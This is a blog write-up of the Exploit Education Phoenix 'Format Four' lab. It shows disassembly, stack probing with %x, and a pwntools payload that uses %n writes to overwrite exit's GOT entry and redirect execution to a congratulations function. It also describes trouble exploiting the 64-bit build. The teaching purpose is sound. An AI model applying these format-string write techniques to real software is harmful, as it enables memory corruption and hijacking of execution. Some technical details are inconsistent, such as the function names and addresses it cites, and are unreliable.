Previous Writeup:

  1. Stack Zero Writeup - Exploit Education Lab Exercise
  2. Stack One Writeup - Exploit Education Lab Exercise
  3. Stack Two Writeup - Exploit Education Lab Exercise
  4. Stack Three Writeup - Exploit Education Lab Exercise
  5. Stack Four Writeup - Exploit Education Lab Exercise
  6. Stack Five Writeup - Exploit Education Lab Exercise
  7. Stack Six Writeup - Exploit Education Lab Exercise
  8. Format Zero Writeup - Exploit Education Lab Exercise
  9. Format One Writeup - Exploit Education Lab Exercise
  10. Format Two Writeup - Exploit Education Lab Exercise
  11. Format Three Writeup - Exploit Education Lab Exercise

If you haven’t done setting-up your lab, feel free to check out my previous article on Exploit.education lab setup

Quick Overview

Similar to Format Three Writeup, Format Four exercise motives are smashing the stack, overwrite arbitrary memory address and execute congratulations function within the program. However, this Format Four challenge revolves around Format String Vulnerability and quite challenging when exploiting in 64-bit architecture binary.

Disassemble

Disassembling the code will get you overall idea behind the format-four code, One can use gdb ./format-four to start debugging it in runtime.

  1. gdb ./format-four
  2. Type disassemble main to get the disassembled code (assembly)
   0x08048523 <+0>:     lea    ecx,[esp+0x4]
   0x08048527 <+4>:     and    esp,0xfffffff0
   0x0804852a <+7>:     push   DWORD PTR [ecx-0x4]
   0x0804852d <+10>:    push   ebp
   0x0804852e <+11>:    mov    ebp,esp
   0x08048530 <+13>:    push   ecx
   0x08048531 <+14>:    sub    esp,0x1004
   0x08048537 <+20>:    sub    esp,0xc
   0x0804853a <+23>:    push   0x8048600
   0x0804853f <+28>:    call   0x8048310 <puts@plt>
   0x08048544 <+33>:    add    esp,0x10
   0x08048547 <+36>:    sub    esp,0x4
   0x0804854a <+39>:    push   0xfff
   0x0804854f <+44>:    lea    eax,[ebp-0x1008]
   0x08048555 <+50>:    push   eax
   0x08048556 <+51>:    push   0x0
   0x08048558 <+53>:    call   0x8048320 <read@plt>
   0x0804855d <+58>:    add    esp,0x10
   0x08048560 <+61>:    test   eax,eax
   0x08048562 <+63>:    jg     0x804856e <main+75>
   0x08048564 <+65>:    sub    esp,0xc
   0x08048567 <+68>:    push   0x1
   0x08048569 <+70>:    call   0x8048330 <exit@plt>
   0x0804856e <+75>:    sub    esp,0xc
   0x08048571 <+78>:    lea    eax,[ebp-0x1008]
   0x08048577 <+84>:    push   eax
   0x08048578 <+85>:    call   0x80484e5 <bounce>
   0x0804857d <+90>:    add    esp,0x10
   0x08048580 <+93>:    mov    eax,0x0
   0x08048585 <+98>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x08048588 <+101>:   leave
   0x08048589 <+102>:   lea    esp,[ecx-0x4]
   0x0804858c <+105>:   ret

Before taking a look at the code, if you disassembled the format-four using gdb to view the assembly instruction, you may notice the puts, fgets, sprintf function calls with parameters. So basically when you hit r in gdb without breakpoint,

  1. Greet with Welcome to phoenix/format-four, brought to you by https://exploit.education message via Puts (aka printf) method
  2. The bounce function takes a character pointer str as an argument, prints the string pointed to by str, and exits the program with a status of 0.
  3. The congratulations function prints a message indicating that the user has successfully redirected code execution and exits the program with a status of 0.
  4. The main function starts by declaring a character array buf with a size of 4096 bytes.
  5. The printf function is called to print the value of the BANNER macro, which is defined earlier in the code.
  6. The read function is called to read data from the standard input (file descriptor 0) into the buf array. The number of bytes read is limited to one less than the size of the buf array to ensure that there is room for a null terminator at the end of the string.
  7. If the read function returns a value less than or equal to 0, indicating that an error occurred or no data was read, the program exits with a failure status.
  8. Otherwise, the bounce function is called with buf as an argument.

Memory Allocation - Exploit Strategy

There is no way you could overflow buffer overflow variable and overwrite any function pointer in the memory. However, introducing %n format modifier string can perform this magic by overwriting the address using format string vulnerability.

Our first step is to print “AAAA” temporarily and find the padding where it gets stored in the stack memory. We can start our exploration with couple of %x which helps in printing the address of the stack,

user@phoenix-amd64:/opt/phoenix/i486$ /opt/phoenix/i486/format-four $'AAAA%x.%x.\n'
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAAAffffd8ca.100.
Better luck next time!

Our experiment continues untill we find AAAA or 41414141 in the stack and eventually we come to know that it occurs at the 11th padding,

user@phoenix-amd64:/opt/phoenix/i486$ ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAA0.0.0.f7f81cf7.f7ffb000.ffffd748.804857d.ffffc740.ffffc740.fff.0.41414141

Now that we found the padding, it’s time to find the exact memory address of congratulation function. For 64-bit binary format-four it should be 0x400644 and 32-bit binary should be 0x08049868. While performing the exploit, I personally found 64-bit arch challenging due to few reasons discussed in the next section.

user@phoenix-amd64:/opt/phoenix/i486$ nm format-four | grep congratulations
08048503 T congratulations
user@phoenix-amd64:/opt/phoenix/i486$

So, let’s come up with a payload for 32-bit arch format-four binary first, However, we might require a redirection to congratulations function and exit function at 0x080497e4 address might be perfect candidate for this.

Since, congratulation now requires to be 0x08048503 which is pretty huge number and I don’t think we have enough bytes to overwrite the memory address. However, there is a workaround by spliting the address into 4 bytes (32 Bit platform) and each byte gets a specific number of junk bytes to overwrite. For example, \x44\x98\x04\x08 can try writing 45 first and carry forward to next bytes if any overflow.

  1. One can start overwriting single byte with trial and error method, starting changeme+0 with padding 11 yields. We could write some junk characters and bump the padding to 178 and try again. (this is purely based on trial and error method) and our result yields 0x103 which is our target comparing 0x08048503.
from pwn import *

exit = 0x080497e4
congratulations = 0x08048503

buff= ""
buff += p32(exit+0)
buff += p32(exit+1)
buff += p32(exit+2)
buff += p32(exit+3)

buff += '%x ' * 11      # offset to first byte

buff += 'A' * 178       # JUNK
buff += "%n"            # write to first byte

print(buff)
(gdb) x 0x080497e4
0x80497e4 <exit@got.plt>:       0x00000103
  1. When changeme+1 is getting overwritten as 0x00000103 but our target is now 0x00008503 matching 0x08048503. We could try pushing few more junk characters and bump 0x1 to 0x85. So, we now require 0x85 - 0x1 i.e in decimal 132 characters to be written (including %n)
from pwn import *

exit = 0x080497e4
congratulations = 0x08048503

buff= ""
buff += p32(exit+0)
buff += p32(exit+1)
buff += p32(exit+2)
buff += p32(exit+3)

buff += '%x ' * 11      # offset to first byte

buff += 'A' * 178       # JUNK
buff += "%n"            # write to first byte

buff += 'A' * 130       # JUNK
buff += "%n"            # write to second byte

print(buff)

iterating the same process for changeme+2 and changeme+3 yields the following payload,

from pwn import *

exit = 0x080497e4
congratulations = 0x08048503

buff= ""
buff += p32(exit+0)
buff += p32(exit+1)
buff += p32(exit+2)
buff += p32(exit+3)

buff += '%x ' * 11      # offset to first byte

buff += 'A' * 178       # JUNK
buff += "%n"            # write to first byte

buff += 'A' * 130       # JUNK
buff += "%n"            # write to second byte

buff += 'A' * 127       # JUNK
buff += "%n"            # write to third byte

buff += 'A' * 4         # JUNK
buff += "%n"            # write to forth byte

print(buff)
Welcome to phoenix/format-four, brought to you by https://exploit.education
����0 0 0 f7f81cf7 f7ffb000 ffffd718 804857d ffffc710 ffffc710 fff 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Well done, you're redirected code execution!
Well done, you're redirected code execution!

Challenge faced while exploiting 64-bit binary

As mentioned above while going through memory address of congratulations function in the stack of 64-bit binary should be 0x400644 and it contains unreasonable characters 😥 - \x00 null character which is interpreted by the strncpy function and completely terminates the argument while copying to the buffer.

user@phoenix-amd64:/opt/phoenix/amd64$ ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAf7ffdc0c.f7ffb300.f7dc2617.0.0.0.ffffd6b0.ffffe6b0.4006b5.ffffe708.0.25414141.2e78252e.78252e78.252e7825.2e78252e
user@phoenix-amd64:/opt/phoenix/amd64$ ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAf7ffdc0c.f7ffb300.f7dc2617.0.0.0.ffffd6b0.ffffe6b0.4006b5.ffffe708.0.25414141.2e78252e.78252e78.252e7825.2e78252e.78252e78.252e7825.2e78252e.78252e78.0.0
user@phoenix-amd64:/opt/phoenix/amd64$ ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAf7ffdc0c.f7ffb300.f7dc2617.0.0.0.ffffd6b0.ffffe6b0.4006b5.ffffe708.0
user@phoenix-amd64:/opt/phoenix/amd64$ ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAf7ffdc0c.f7ffb300.f7dc2617.0.0.0.ffffd6b0.ffffe6b0.4006b5.ffffe708.0.25414141
user@phoenix-amd64:/opt/phoenix/amd64$ nm format-four | grep congratulations
0000000000400644 T congratulations

However, there might be better strategy to overcome this issue by altering environment variables that may push the address or placing the address to the end of the string in payload.

Exploit

Now, our strategy should be,

  1. Input format string as above python file execution results pipe-ing to format-four binary
  2. Now, exit memory address from GOT (Global Offset Table) is overwritten by congratulations address.
Welcome to phoenix/format-four, brought to you by https://exploit.education
����0 0 0 f7f81cf7 f7ffb000 ffffd718 804857d ffffc710 ffffc710 fff 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Well done, you're redirected code execution!
Well done, you're redirected code execution!

There you go! 🎉 You’ve officially pwned and you may eventually gain code execution in upcoming blog post dedicated for this format-four 🪲

buffer-overflow-pride

Source and Reference:

  1. Format Four Exercise: Exploit Education

Closing Note:

I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.


Author Profile Photo - Shivasurya

Shivasurya

Software Engineer, Security @ Dropbox